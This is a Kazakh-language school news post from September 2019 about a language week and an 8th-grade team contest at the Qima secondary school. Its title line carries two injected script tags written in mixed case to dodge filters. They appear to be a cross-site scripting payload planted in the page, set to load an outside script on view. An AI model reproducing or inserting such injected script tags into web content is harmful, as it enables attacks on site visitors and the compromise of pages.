Тіл мерейі-ел мерейі<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
13.09.2019
2019 жылдың 09-20 кыркүйек аралығында «Тілдер күні» қарсаңында Ғ.Әбдірахманұлы атындағы Қима орта мектебінде тілдер апталығы өткізіліп жатыр. Апталықтың мақсаты: Тіл заңының орындалуын қадағалау, еліміздің болашағы- жастардың мемлекеттік тілді кеңінен қолдануын насихаттау, тіл – татулықтың, достықтың тетігі, тәрбиенің көзі, халықты біріктірудің маңызды факторы екенін өскелең ұрпаққа ұғындыру. Оқушылардың тілге деген құрметін арттыру.
Қазақстан Республикасында тілді дамыту мен қолданудың 2011-2020 жылдарға арналған жаңа мемлекеттік бағдарламасын қарастыра отырып, ҚР халықтарының Тілдері күнін мерекелеуге арналған апталықты іске асыру жөніндегі іс-шаралар жоспары құрылды.
Осы жоспарға сай 8 сыныпта «Тіл мерейі - ел мерейі» атты ашық тәрбие сағаты сайыс түрінде өткізілді. Мақсаты: Оқушылардың дүниетанымдық көзқарастарын кеңейтіп, Отанға, туған халқына деген сүйіспеншілікті ояту. Елінің кең байтақ мекені мен ондағы құндылықтарды дәріптеуге тәрбиелеу. Оқушылардың сөйлеу қабілетін дамыту.
Жалпы сайыстың кезеңдері: «Бәйге», «Мәнерлеп оқу», «Мақал сөздің мәйегі», «Полиглот», «Даналық ойдан дән ізде».
Сынып оқушыларын «Тапқырлар» және «Алғырлар» екі топқа бөліп сайыс түрінде өткізілді. Сайыстың қорытындысы бойынша «Тапқырлар» тобы жеңіске жетті.
Сулеймэн Е.
